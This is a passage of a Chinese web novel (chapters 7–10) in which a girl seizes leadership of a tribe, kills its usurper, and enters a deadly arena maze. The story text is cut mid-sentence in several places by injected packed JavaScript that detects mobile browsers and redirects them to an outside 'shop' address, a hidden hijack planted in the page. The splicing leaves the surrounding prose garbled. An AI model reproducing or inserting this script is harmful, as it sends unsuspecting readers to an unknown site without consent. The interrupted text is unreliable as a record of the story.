姜女还给他取名姜不弃。 不弃,不弃,哪里不弃了? 要不是阿大阿二不在了,姜不弃顶了这个缺儿,恐怕这辈子连姜女的帐篷都进不了。 “这部落的防御工事,哪一处不是我带人修建的?我守卫了部落这么多年的安稳,姜女看不见,你这个死老太婆也看不见吗?就因为阿大阿二骑着那只破鸟来到部落,就成了你们所谓的祥瑞。从蛇窟里被救出来的我,就活该这样卑贱吗?” 待姜不弃发泄完情绪,部落里只有火光摇曳的滋滋声。兽笼里的姜诺迦频频望向乔晞,你倒是开口说句话啊! 乔晞:“我的哥哥们,死了吗?” 伊古牙:“角斗场开启至今,从来没见过我们部落出去的人活着回来。” 乔晞垂下头。 还有一种可能,哥哥们在角斗场胜出,被选入军队,离开了沙棠星。只是这份渺茫的希望,究竟有几分成真的可能? 除非他们也觉醒了异能。 姜不弃蹲下来握住伊古牙的肩膀,像蛊惑人心的恶魔在他耳边循循善诱道:“你亲手杀了这个小野人,我就让姜诺迦活着好不好?” “你骗人,你刚刚不是这么说的!” 伊古牙用力推开他。 可恶魔却在持续低语:“这个小野人来要她哥哥了,我给不出来,我很害怕。那怎么办呢?我一害怕就想反悔呀!” 7. 第7章 伊古牙拿着石斧浑身抖得像筛糠。 姜诺迦大喊:“伊古牙,你不要听他说话!我不会死的。”她扭头看向乔晞,“阿大妹妹,你刚刚说过可以帮我杀死姜不弃。” 乔晞却古怪地扫视了一眼姜诺迦。 姜不弃:“……” 这孩子在说什么疯话? 这比他放话出去让伊古牙当首领还可笑。 “阿大妹妹!”见乔晞不说话,姜诺迦急了。 乔晞却不答反问:“我帮你杀了姜不弃,你能给我什么?” 姜诺迦一愣。 姜不弃害死了阿大阿二,她们明明应该目标一致、同仇敌忾,为什么乔晞反而游刃有余地跟她谈起交易了? “伊古牙,杀了她。”姜不弃听不下去了,他一把拿过别人递上的弓箭,塞进伊古牙手里。 乔晞依旧没有任何动作。 她在等姜诺迦的回答。 这都什么时候了? 火烧眉毛了你还不急! 姜诺迦咬牙道:“除了首领之位,你想要什么我都可以给你。” 伊古牙:“诺迦,你在说什么?” 他不敢置信地看着姜诺迦。 堂堂首领居然被区区野人小孩要挟。 姜诺迦瞪他一眼:“你闭嘴。” 姜不弃抄起另一把弓箭,拉弓上弦瞄准姜诺迦的脖颈。然后轻蔑的抬了抬下巴示意伊古牙,那意思很明确——你再不拿箭,姜诺迦可就死了哦。 伊古牙放下了石斧,拿起了弓箭。 地面上两个人。 一大一小,并肩站立。 两支箭,同时搭在弦上。 一支瞄准姜诺迦,一支瞄准乔晞。 * 女人们大怒,却只能干看着无可奈何。刚刚姜不弃威胁姜诺迦的性命时,她们妥协了,被缴了所有弓箭。 老人:“姜不弃,你连同胞野人都能加害,自私自利到了骨子里!你根本不会让伊古牙当首领,也根本不会护着这些男人,你只是想利用他们满足你的野心!平息你的不甘!” 姜诺迦面色忐忑地问乔晞:“还是说你想要的是……当首领?” 乔晞心道:我想要你体内的实验体芯片,不知道你肯不肯给? 底下的男人们哄堂大笑,没人把姜诺迦的话当回事,他们只觉得太荒谬了。 本该昂起头颅、高高在上的首领,被逼急了竟向一个比她还弱小的野人低头。 这么看来,不过是个走投无路的小女孩罢了。 首领的威严,彻底坍塌。 伊古牙大喊:“首领是你的,谁都不可以夺走!”他像是被这些嘲笑给刺激到了,“我现在就杀了她!” 老人:“伊古牙,不可!” “咻——” 箭离弦而出。 伊古牙的手抖得厉害,他从小练的是近身搏杀,耍石斧是一把好手,远程弓箭不是他的强项。 他射偏了…… 乔晞冷着脸避开了这一箭。 “废物!” 姜不弃给了一个伊古牙一脚。 伊古牙手里的弓脱落,狼狈地趴在地上。 姜诺迦气坏了,这伊古牙真是死脑筋,没见她苦口婆心劝了这么久吗?转眼就把乔晞得罪透了,简直是帮倒忙。 * “除了部落的女人,谁还会接纳你们?听说在荒漠尽头的势力还会把底层的人们抓去当奴隶,割掉四肢做成痰盂,你们清醒些,姜不弃在挑拨离间,让我们彼此对立。” 有女人站出来劝诫那些被策反的男人们。 他们的眼神开始动摇。 说的没错,光是在蛮荒雨林和荒漠戈壁的生存就已困难重重。原本沸腾的热血,渐渐冷却下来,眼神里的不甘,被恐惧和犹豫取代。场面再次陷入僵持,有人悄悄往后退,手里的武器也松了。 姜不弃见状,又抛出诱饵。 “你们日后若是不认可谁,大可以杀了,自己当首领!” 众人皆是一惊。 那岂不是,部落里的每个人,都有坐上首领之位的机会? 真正意义上的胜者为王。 规矩全由当权者所定义。 男人们的眼神瞬间变得灼热,脑海里浮现出那些曾经高高在上的女人反过来对自己俯首称臣的画面。他们个个面露红光,野心被彻底点燃。 甚至还有人撞开伊古牙,“扑通”一声跪在姜不弃面前,大声祈求:“让我来杀这个小野人!” * 乔晞冷眼旁观。 好一场泯灭人性的社会观察试验。 黄博士,这就是你想要的吗? 重演母系氏族的覆灭,开启男权统治的时代。在不同的时间维度里,设定相同的剧情坐标,像看农场里圈养的动物一样,看着这群被蒙在鼓里的实验体走向预设的结局。 姜诺迦还在努力喊:“阿大妹妹……” 乔晞:“我叫乔晞。” 姜诺迦一时没反应过来,嗯? 乔晞:“我先替你当这个首领,等我进了决斗场,再把首领还给你。” 姜不弃像是听见了天大的笑话。 他真有耐心在这里陪两个小屁孩玩家家酒,显得他像个傻子。 首领之位和角斗场有什么关系? 姜诺迦也没完全想明白,但转念一想,自己好像不亏诶!乔晞帮她杀了姜不弃,夺回部落,只是借首领之位用一用,等她去了角斗场,位子还是自己的。 “乔晞,我答应你!” 来自野人村落和蛮夷部落两个同龄的孩子,郑重地达成了交易。 * “诺迦,你怎么可以答应她?” 伊古牙不敢相信自己的耳朵,姜诺迦竟然轻飘飘地就把首领之位让给了一个外来的野人。 首领之位是什么玩具吗? 居然可以轻易地让给旁人。 如果一个外人都可以…… 那他为什么不可以?! 伊古牙的脸涨得通红,满是震惊、不甘,还有难以言述的愤怒。 又来了,又来了。 姜诺迦正烦躁地想骂他几句,却见伊古牙重新举起弓箭,箭头对准了乔晞。她心里一紧,脱口而出:“你别杀他,他是无辜的。” 这话是对乔晞说的。 在部落里,女人到了年纪就要豢养男人传宗接代。伊古牙是她从小看着长大的,早就被她当成自己帐下的人。 姜诺迦不想看着伊古牙死。 可伊古牙却会错了意,以为这话是姜诺迦对他说的。他心里更气了,觉得这些野人个个能言善道,最会蛊惑人心,连诺迦都被他们骗了。 姜不弃满意地欣赏自己一手打造的局面。部落里最后一个对女人死心塌地的男人,终于站起来了! “咻——” 伊古牙松开了手。 这次的箭矢瞄准乔晞的脖颈,在乔晞偏头躲过后,竟像长了眼睛,调转方向再次向她而来。 “伊古牙,你个蠢东西!”姜诺迦瞳孔地震。 乔晞的嘴角勾起。 不枉她在逼仄的兽笼里忍了这么久,终于让她等到了。 蛮夷部落果然有异能觉醒者。 伊古牙,就是其中之一。 * 姜诺迦先是震惊地看向底下的伊古牙,再看了看突然挣脱兽筋,单手攥住箭矢的乔晞。 箭头离乔晞的脖子只有方寸之遥,鲜血淅淅沥沥的从她握拳的手里滴淌而下。 姜不弃的笑容,僵在了脸上。 伊古牙有这本事? 他竟然看走眼了…… 拿着冷兵器的男人们纷纷朝后退了几步,神情充满忌惮。他们看不懂这是什么手段,只觉得伊古牙和小野人都可怕的很! 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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现在他们的妹妹朝他索命来了。 姜不弃惶惶开口,像当初在潭底蛇窟祈求姜女那样祈求乔晞。 “救救我……” “不要杀我……” 两次濒死的画面在他脑海中如走马灯交叠。 乔晞歪着头,五指伸开,又收紧。 “咔嚓——” 巨大的骨碎声响起。 可见出手绞杀的人力道之大。 姜不弃的眼球暴起,舌头还没来得及收回嘴里,就被突然合上的牙齿,生生咬断。 他的头颅从脖颈上滚落下来,在红土上滚了几圈,最终停在老人的脚边。 老人看着滚落而来的头颅看了很久。 她举起手杖,大声宣告:“姜不弃死了。” 杀了姜女的姜不弃,死了。 篡权夺位的姜不弃,死了。 为他们摇旗呐喊的姜不弃,就这么死了。 * “母亲,请你安歇!” 姜诺迦落下泪来,仰天大喊。 姜女死在面前,她不敢哭。 被姜不弃用短矛抵住,她不敢哭。 被夺走了首领之位,她没资格哭。 唯有亲眼看着背信弃义的恶人惨死,姜诺迦才觉得自己有资格大哭一场。 女人们纷纷喊道:“姜女,请你安歇!” 声音整齐,带着悲痛,也带着解脱。 那些曾经被姜女所救的人,有的移开了目光,有的握拳垂下了头颅,还有的单臂抱肩跪在了深红的土地上。 被姜不弃策反的人大部分都不知如何是好,彻底慌乱。他们有人放下武器,低着头跪回女人身后;有人选择与伊古牙站到一处。 “是你。” 伊古牙举着弓箭再次对准乔晞。 “嘭——” “嘭——” 两声爆破声,几乎同时响起。 被吊在半空的两个兽笼突然炸开,木屑纷飞。 8. 第8章 乔晞牵着姜诺迦的手从半空一跃而下。落地后,她松开姜诺迦,拍掉掌心沾着的木屑与尘土,语气淡淡:“我不喜欢有人拿箭对着我。” 姜诺迦反应极快,弯腰捡起地上散落的长弓,麻利地搭箭拉弦,侧身挡在乔晞身前,将她护得严严实实。 杀鸡焉用牛刀? 区区伊古牙,就不需要乔晞动手了。主要是姜诺迦真怕她一生气就把伊古牙给杀了。 伊古牙见状,双目赤红状若滴血。 姜诺迦不仅将部落首领之位拱手相让,如今更是为了这个野人与他剑拔弩张。 “诺迦,你让开!”伊古牙嘶吼道。 姜诺迦彻底冷下脸,没有半分退让,扬声对着整个部落的人宣告:“野人村落的乔晞为我们绞杀姜不弃,让首领姜女得以安息。我愿认她为首领,代我镇守两季部落。在场任何人敢有异议,便是与我姜诺迦为敌,与我部落为敌!” 男人们心底纷纷犯起嘀咕,此前他们都认为姜不弃是伊古牙杀的,毕竟那支箭能凭空转向,诡异至极。 可姜诺迦却亲口说,杀死姜不弃的竟是这个野人小孩。众人心中满是惊疑,什么样的力量,能做到隔空取人性命? 女人们接到指令后,纷纷捡起此前被收缴的弓箭,将箭尖凑近火堆点燃,随即拉弓上弦,严阵以待。 点点星火在箭矢上燃起,明灭不定的火光,映照着那些摇摆不定的脸庞,将他们心底的怯懦与忌惮照得清楚。 * “咻——” 伊古牙的箭擦过姜诺迦的脸颊,转弯朝她身后的乔晞而去。 “咻——” 与此同时,姜诺迦的右脸被划出一道鲜艳的血痕,她手里的箭矢脱弦朝伊古牙的眉心射去。 过近的距离,姜诺迦笃定伊古牙避不可避。伊古牙专注的操控箭矢,也笃定乔晞避不可避。 乔晞快步奔跑,她想测试伊古牙操纵箭矢的极限距离。 伊古牙双眉紧皱。 姜诺迦射出的箭矢悬空停在他眉心一寸距离。 姜诺迦:“你这是什么怪异的能力?” 伊古牙抬手用力地拿下那支悬在他眉心的箭矢,“诺迦,你太不了解我了。” 乔晞跑了一段距离,感觉到伊古牙追杀她的箭矢速度慢了下来。 有两种可能: 一是箭矢飞不了太远。 二是伊古牙的精神力太弱,无法同时进行两次操控。 “啪嗒——” 乔晞回头,隔空将那支箭矢折成两段。 姜诺迦见乔晞没事,她夺过伊古牙手里的弓,孔武有力的抓住他的肩膀将他背身摔在地上。 “咳咳——” 伊古牙被摔在地上,在满头泥灰里咳嗽。 * 有跪地的人试探着开口,声音细若蚊蚋,满是忐忑地喊:“乔晞,乔晞。” 姜诺迦脸颊沾着大片干涸、未干的血渍,她盯着伊古牙,高声穿透整个部落:“乔晞!乔晞!乔晞!” 老人的骨杖笃笃敲在地上,她中气十足地呼喊:“乔晞!乔晞!乔晞!” 女人们:“乔晞!乔晞!乔晞!” 整齐的呐喊声震耳欲聋,层层叠加。 * 乔晞的心脏在这有节奏的呼喊声里咚咚有力地跳动。 旷野的风呼啸着穿过帐篷与骨栏,吹在这个身着破烂的叶子,光着脚的野人小孩身上。 她的名字在蛮夷部落里经久回荡。 乔晞被人们拥护、认可、感恩。 这一路从野人村落走出来,到与蛮夷部落建立起了链接,乔晞开始试图去理解生命诞生的意义。 不是末世里星际逃难的人类,不是按部就班的劣等实验体。 只是一个拥有生命,自由的人。 * 伊古牙被人缴了石斧与弓箭,反剪着双手押往地穴牢笼关押起来。 既然是姜诺迦的人,乔晞就全权交由她处置。是打是骂,是囚禁还是格杀,一切都由姜诺迦自己定夺。 乔晞被蛮夷部落接纳的第一天。 识海深处的精神体凤凰再次苏醒。 火红色的羽翼轰然展开,飞跃而出。 刹那间天地风云变色,狂风卷着红土漫天飞舞。 这是蛮夷部落的人第一次见到神鸟形态,不是雨林里凶残的大鸟,也不是古老传说里神秘的玄鸟。 它没有实体。 羽翼燃着无形的火焰,身姿傲然,气势慑人。 众人闭着眼,恭迎它进入识海深处。 乔晞告诉她们,这是凤凰。 当天,部落里最擅长绘画的工匠就把凤凰的图案绘制在巨幅兽皮上。兽皮被高高悬挂在乔晞的主帐前,取代了被烧没的玄鸟图腾。 姜诺迦请老人帮忙把凤凰的纹样纹在自己的脖颈处。 等乔晞走后,她会担当起凤凰的使者。 * 姜诺迦终究没能狠下心处死伊古牙。他在洞穴地牢里被关了十几天。 这十几天里,乔晞几乎每天都会无聊地进去找伊古牙打架斗殴,对外美其名曰是练习近身搏斗。 乔晞的短板是她的近战能力。 自从异能觉醒后,她一直依赖操控粒子隔空杀人,确实没怎么练过近身作战。 当初在山洞里被野人爹掐住脖子,乔晞连施展粒子绞杀都费劲。那个时候她就意识到,绝对不能被人近身控制。 后来在雨林里,乔晞被那一对向哨联手制服,一人以武力压制她的肉身,一人以精神力禁锢她的异能。 乔晞哪个都打不过。 她引以为耻,反复告诫自己在进入角斗场之前必须提升近身搏斗的能力。 若是和部落里身强力壮的女人对练,乔晞怕自己被暴打后,好胜心上来失手将人重伤甚至打死。 索性去地牢里找伊古牙打。 打残了不心疼,打死了也没事。 乔晞现在是部落首领。 那就是来当皇帝的,谁敢有意见? 她心态好,敢面刺寡人之过者,处以极刑。 * 伊古牙只觉得莫名其妙。 在他看来,乔晞即便异能再强,可一旦和自己近身搏斗,纯属自寻死路。他憋着满肚子的委屈、不满与怨气,一拳一拳狠狠砸向乔晞。 乔晞自然不会任由他打,她身姿躲避灵活。 伊古牙根本碰不到她。 欣赏着伊古牙气急败坏的模样。 乔晞:“女人和小孩从来不是弱者,看不起她们的你,才是真正的废物。” 来到蛮夷部落之后,乔晞的学习能力如蝗虫过境,好的学,坏的也学。姜不弃那套蛊惑人心的话术被乔晞运用得有过之而无不及。 “就算我不用异能,你也打不到我。” 伊古牙被这番话激得红了双眼,额角青筋暴起,在狭小的地牢里疯狂挥拳砸墙,动静震天响。 可无论他怎么折腾,乔晞每次进出地牢,身上都干干净净,毫发无损。 直到某天,乔晞彻底摸透了伊古牙的所有招式套路,一进地牢便使出扫腿截住他的下盘,紧接着咣咣给了几记重拳,伊古牙浑身是血地昏死过去。 那几天成了伊古牙短暂人生中最黑暗的时光,他总是浑身血污地从昏迷中醒来,又浑身是血的再次昏睡过去。 循环往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315386|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复,苦不堪言。 * “诺迦,求你放我走吧。” 十几天的折磨过后,伊古牙瘫在地牢的泥地上连跪都跪不起来,只能趴在地上,有气无力地向姜诺迦祈求。 乔晞说姜诺迦还是心肠太软,姜诺迦遗传了姜女的善良。那是刻在母体基因里传承的烙印,并在部落这些年的救人理念的熏陶下又反反复复贯彻执行。 她将伊古牙与那些最初就被姜不弃彻底策反的男人们,分别放逐。让他们失去部落庇护,独自前往荒野生存。 那阵子听说蛮荒雨林发生了大事。 从未听闻过的枪声与爆炸声接连不断。 只有乔晞清楚,是她在潭底蛇窟与食人花田惹出的动静被联邦实验基地发现了。 她心安理得地蛰伏在蛮夷部落,下令严禁任何人靠近蛮荒雨林。 * 润季悄然落幕,沙棠星的气候正式转入温季,干裂的红土上渐渐冒出零星的绿芽,空气里多了几分湿润的气息。 乔晞换上老人缝制的兽皮裙。 她的头发也被部落的女人梳理整齐,编成数条麻花辫盘在脑后。头顶插着一支骨簪,那是首领换代那天,姜女亲手为姜诺迦戴上的信物。 离角斗场开启的日子越来越近,姜诺迦与老人前前后后劝了乔晞数次,凡是从部落前往角斗场的人,从来没有一个能活着回来。 可无论她们怎么劝说,乔晞都有非去不可的理由,谁都无法动摇。 临行前,姜诺迦将姜女留下的三根骨簪分出一支,赠予乔晞,满心期盼着她的好友能平安归来。 这支骨簪来历不凡,是多年前一头从角斗场逃出的星兽,被姜女猎杀后,用其颅骨打磨制成。 这般寓意吉祥的物件,乔晞当然不会推辞,她坦然收下。 * 角斗场开启的前十五天—— 乔晞与姜诺迦收拾好行囊,背上弓箭动身离开部落。 骨栏、帐篷、长明火,被抛在身后。 蛮荒雨林的轮廓在远方隐约浮现。 乔晞没有联邦登记的实验体芯片,她需要姜诺迦帮忙登记进入角斗场。 姜诺迦知道了实验体被圈养的秘密,也明白乔晞为什么一定要去角斗场。 虽然帮不上忙。 但姜诺迦也有她一定要做的事。 她们看似在人生的岔路上分开而行,实际都在为今后能并肩走在同一条通达大路上而努力奋斗。 * “乔晞,我告诉你一个秘密。” “什么?” 女孩俏皮的眨了眨眼,“我的异能是……” 乔晞:“你不会死。” 姜诺迦大惊:“你怎么知道?” 乔晞用看傻子一样的眼神看着她,当时这孩子被关在捕兽笼里都自己说出来了,还在那大声朝伊古牙喊她不会死,生怕有异能的人察觉不了吗? 准确来说是,姜诺迦不会被人伤害致死。 “那你适合去角斗场,反正死不了。这么舍不得我,要不你跟我一起进去吧。” “才不要!受伤多疼啊!” “把你的实验体芯片拔出来看看到底会不会死?” “哼!看来你跟我做交易前就盯上了我的芯片。” “你不好奇你是什么等级吗?” “反正不是癸级。” “…………………………” “乔晞。” “干嘛?!” “少收点伤……” “姜诺迦你给我打住,别煽情!” 两个女孩一路相伴,打闹拌嘴。 在广阔的荒漠尽头化成两个小点。 9. 角斗场 角斗场立在沙棠星奴隶聚群边缘的无人区深处,黄沙卷着碎石,风呼啸而过,带着灼人的干渴。放眼望去全是昏黄,天地连成一片混沌,两颗并行的红矮星被沙尘蒙得黯然。 有一处巨型建筑十分夺目,它由灰黑色巨石垒砌而成,墙体爬满裂痕,布满经年累月的血渍与划痕,斑驳得看不出原本的模样。 环形看台高耸入云,密密麻麻的石座空无一人。风灌进看台的缝隙,发出呜呜的声响,像无数亡魂的哀嚎。 入口处是两扇巨大的石门,石门上刻着狰狞的星兽图案,獠牙外露,透着一股肃杀之气。 一个部落女孩背着弓,箭壶挂在腰侧,站在角斗场入口。她脸上涂着色彩鲜艳的涂料,抹在脸颊两侧,顺着颧骨往下晕开,衬得看不出原本的五官,野性又混沌。脖颈处也有涂料,掩盖不住的图案能依稀看出来是一只飞鸟轮廓。 她的头发梳成十几条细麻花辫,紧紧贴在头皮上,再顺着后背垂下去,头顶插着一根骨簪。 “ID已录入,放行。” 几名穿着迷彩服,戴着透明气密面罩的士兵守在入口处。 其中一个士兵拿起一杆扫描仪器,金属探头在女孩的脊背上叮了一下,仪器屏幕瞬间亮起,跳出一串实验体的信息——编号、试验区,一目了然。 女孩垂在身侧的手轻微收紧,面上却不动声色。 士兵收起仪器,示意她往里走。 女孩却站在原地不动,她随即露出懊恼的神情,拍了拍背后的空箭壶:“我还有武器没带在身上,我可以去拿一下吗?” 士兵眯起眼,脸色沉了下来,显然不允。装备没带齐,登记后还想擅自离开,当角斗场是儿戏吗? 女孩也不慌,指了指自己空荡荡的箭壶,又指向不远处的小山坡,坡上搭着一顶简易的兽皮帐篷,显然是她临时落脚的地方。 “我马上就回来,就几步路,麻烦通融一下好不好嘛?” 她的声音软软的,带着孩童特有的乖巧,脸上的涂料衬得那双眼睛格外清亮,看着毫无威胁。 士兵打量着她的空箭壶,又顺着她的目光看了看那顶帐篷。每年蛮夷部落送进角斗场的实验体,从来没有一个能活着出去,这小女孩看着弱不禁风,没武器进去怕是连一天都熬不过去。 罢了,就当让她多活两天。 士兵摆了摆手,算是默许。 另外几名士兵对此漠不关心,那只是上位者对被圈养起来的实验体流露出的些许怜悯而已。 女孩要的就是这种效果,她立刻抓住机会,上前一步握住士兵的手,低下头飞快往他掌心塞了个东西。 士兵一僵,感觉手里被塞进了冰凉的叶片,转瞬便松开。他侧身扭过头,假装没看见。 “快点,别耽搁时间。” 女孩转身,朝着山坡的方向飞速跑去,兽皮裙被风掀起,脚步轻快得像一阵风,跑出去几步,嘴角便勾起一抹狡黠的弧度,眼底的乖巧瞬间褪去,只剩冷冽的算计。 士兵站在原地,看着她远去的背影,摊开掌心,是一朵戈壁里罕见的小白花,花瓣单薄粘着沙粒。 没过多久,女孩就跑了回来。 她的额头上布满了汗珠,顺着脸颊往下淌,涂料被冲得有些花了。头顶的骨簪在剧烈的跑动下,垂在额前,遮住了一边眼睛。 “我直接进去吗?”她喘着气,语气平静,没有了刚才的恳求与柔弱。 士兵点点头,目光在她身上扫过,心里有些疑惑。 刚才还带着几分怯懦与恳求的女孩,此刻却透着一股从容的冷静,仿佛变了一个人似的。 他看向女孩身上的箭壶,里面已经插满了箭,腰间还插了一柄与身量不符的石斧。 是因为有了武器傍身,才有了这份底气吗?士兵心里暗自嘀咕,却也没再多问,侧身让开了路。 可是,她脖颈上的飞鸟纹身呢? 怎么突然没有了? 还来不及细想,士兵身后突然传来一声冷喝。 “55124,刚刚蛮夷部落的实验体,为何没有登记?” 角斗场驻守的巡查长官走了过来,他穿着一身黑色的制服,眼神锐利扫过士兵,语气里满是质问。 士兵心里一紧,连忙垂下头。 他手里紧攥的小白花,被一点点碾碎。白色的粉末从指缝间滑落,落在黄沙里,瞬间被风吹散,尘归尘,土归土,仿佛从未存在过。 “报告长官,已登记ID,刚才放她回去拿了武器,耽误了一点时间。” 长官眯起眼睛,目光在士兵身上停留了片刻,又扫了一眼已经踏入角斗场的女孩,语气冰冷:“下不为例,再有一次,直接去监狱星领罚。” “遵命,长官!” 士兵立刻敬礼,身姿站得笔直。直到长官转身离开,他才发觉后背惊出了冷汗。 * 躲在山坡后的姜诺迦,一直紧紧盯着乔晞的身影,看到她顺利通过士兵的检查,正要松口气,却瞥见那个巡查长官拿走了士兵手里的登记表,低头翻看起来。她不由得倒吸一口凉气,心脏瞬间提到了嗓子眼。 不行,不能让他们对乔晞有所怀疑。 姜诺迦的实验体芯片只能定位在角斗场,她一旦出现在沙棠星其他地方,就会影响乔晞。 乔晞才刚刚迈出第一步,往后的所有艰辛与凶险,都在那未知的角斗场里等着。姜诺迦不想看着乔晞止步于此,更不愿让乔晞有任何后顾之忧,哪怕付出代价,她也想帮乔晞隐瞒住这一切。 姜诺迦思前想后,咬了咬牙,眼神变得决绝。她从腰间掏出短矛,解开兽皮裙。 矛尖锋利,泛着寒光,她深吸一口气,握紧短矛,闭眼往自己的脊背上割去。 “嗤啦——” 皮肉被锋利的矛尖层层翻开,鲜血瞬间喷涌而出,染红了她的兽皮裙,也滴落在身下的黄沙里被沙土吸干,留下一个个暗红的印记。 剧烈的疼痛传来,姜诺迦疼得浑身发抖,眼底发黑,几乎要晕过去,牙齿咬着嘴唇,不让自己发出声音,嘴角被咬出了血印。 * 此时,角斗场门口陆陆续续有人来登记。 那些人里,有的身上满是狰狞的伤痕,脖子上戴着沉重的铁链,走路时铁链发出哗啦哗啦的声响,眼神麻木,像行尸走肉一般;还有穿着几片巨大的树叶,用藤条和羽毛捆着关键部位的野人;最后进去的人穿着粗麻布做的衣服,手里拿着锄头或镰刀,眼神怯懦又警惕。 野人村落、蛮夷部落、奴隶聚群、农耕小镇,沙棠星上四个社会观察试验区的实验体都到齐了。 各色人等聚集在入口,排队等待扫描登记。 * 姜诺迦背靠在滚烫的沙地上,浑身抖得厉害,疼得直冒冷汗,嘴里甚至开始吐白沫。剧痛让她意识变得模糊,心里直呼糟糕。 之前只听乔晞说过,她是被人从脊背后拔出的芯片,却忘了问了具体在后背的哪个位置,现在姜诺迦只能凭着感觉在血肉里摸索。 她颤抖着抬起手,伸进后背的伤口里,一点点扒开层层血肉,每动一下,都疼得她几乎要晕厥过去。 终于,在姜诺迦快要支撑不住时,她的指尖摸到了一片方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320431|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块状的薄片,上面还有细小的纹路,硬邦邦的。 姜诺迦心中一喜,瞬间打起精神来,用力将那枚芯片从血肉里抽了出来。芯片上沾满了血迹和皮肉细胞,黏糊糊的,她哆嗦着用指腹擦拭干净,露出了芯片本身的模样。 【辛-07,使用期限30年】 姜诺迦看着芯片突然笑了起来,泪水却忍不住从眼角滑落,滴在芯片上,又被她擦掉。 甲乙丙丁戊己庚辛壬癸,姜诺迦用乔晞教给她的十天干计法仔细数着。 辛是倒数第三。 看来,她也是个劣等实验体啊。 但是乔晞,你看到了吗?我比你高两个等级,我厉害着呢。 姜诺迦趴在滚烫的沙地上,将那枚承载着她身份信息和定位的实验体芯片,埋在了身下的沙地里。 后背被挖烂的皮肉,在特殊的血肉再生异能作用下一点点愈合。姜诺迦没说错,她的确不会死,因为身体一旦受伤,血肉便会再生愈合。 但姜诺迦依旧疼痛难忍,她趴在沙地上,大口喘着气。 * 乔晞踏入角斗场后,石门在身后缓缓关上,发出沉重的轰隆声,震得地面颤抖。 低头一看,乔晞被无边的黑暗笼罩,有那么一瞬间她甚至以为自己回到了地下城。 乔晞置身于一片移动迷宫里。 迷宫深入地底,通道窄小,一片昏暗,只有头顶偶尔透过石缝漏下来的零星光线,勉强能看清脚下的路。 地面沾着薄薄的一层黄沙,沿路走着还能看到地上散落的骨头,有人类的,也有奇形怪状的猛兽形状,应当就是传闻中的星兽。 迷宫里的墙壁还在缓慢移动,通道的位置不断变化,前一秒还能看到的路口,下一秒就被移动的墙壁堵住,稍不留意,就会被墙壁夹在中间,粉身碎骨。 凤凰非常不喜这个无光的环境,它展开火翅在乔晞的识海里发出凄厉啼叫。 乔晞默默安抚它,顺便打量四周。就在这时,一个机械音在迷宫里响起,回荡在所有通道里,清晰宣告着角斗场的规则: “所有参赛人员,迷宫内存活的星兽与其他参赛实验体,皆为敌人,可随意击杀。唯有活到最后抵达出口的人,才能开启斗兽场,参与最终对决。” “斗兽场入口将于七天之后开启,倒计时开始——” 机械音落下,迷宫里只剩下墙壁移动的咯吱声。 乔晞点亮手里的火折子,抽出腰间的石斧紧紧握住,眼神冷静地扫视着四周。 星兽凶残,其他参赛的人为了活下去,也会不择手段,移动迷宫就是一个你死我活的修罗场。 斗兽场入口七天之后才会开启,说明在迷宫里存活七天是硬性指标。大家为了不饿死,都会选择攻击星兽或者抢夺同类的补给。 乔晞的异能是操控粒子,适合远程攻击,近战虽然经过和伊古牙的对练有所提升,但依旧是短板,而迷宫通道狭窄,不利于远程发挥,一旦遇袭,难免会陷入近身缠斗。 在角斗场遇到异能人士的概率可要比普通人高许多,但乔晞对异能的概念和种类可谓是一知半解,该怎么应对她心里是没底的。 这全因为当时乔晞在潭底蛇窟下偷听到的是一群科学家的对话,陈梧州的团队甚少关心与异能相关的话题,只是一心扑在变异种和联邦实验室里。 当务之急,得先在这片移动迷宫里苟起来,找一个安全的藏身之处,熟悉迷宫的移动规律,观察周围的环境。 乔晞贴着石墙,脚步轻缓,朝着一处狭窄隐蔽的通道走去,身影很快消失在交错的石墙之间。 10. 角斗场 移动迷宫的阵型又发生变化了。 迷宫石墙随着内部齿轮的咬合,发出沉闷的轰隆声,墙体不断移动、旋转、重组,将原本纵横交错的通道切割出全新的格局,原本熟悉的通道瞬间变得陌生。 乔晞爬起来,耳朵紧紧贴住地面。她已经在这片迷宫里待了一天,反复计算着墙体变化的周期,每一次震动的强弱、每一次转向的快慢。 就像小时候数着野人山洞里的水滴声,来推算着沙棠星的昼夜更迭。 她发现这所谓的迷宫根本没有固定的路线,也不存在所谓的安全区,每一次墙体的咬合与转动,都是彻底重排,刚刚还能通行的通道,马上就可能被封死,变成绝路。 乔晞将系在腰间的包袱解下来,那是在蛮夷部落时用猎来的野兽肠衣缝制的。肠衣坚韧耐磨,经过反复揉搓变得柔软,适合储备干粮。 肠衣里装着蛮夷部落晒干的肉条,是姜诺迦特意为她准备的,但肉条被晒得干硬紧实,咬在嘴里硬得像块石头,硌得牙龈生疼。 还有用野果发酵制成的果糕,酸甜的味道能稍微缓解肉条的干涩。 最后是半块压缩饼,那是老人磨制的,也是乔晞如今最珍贵的补给。 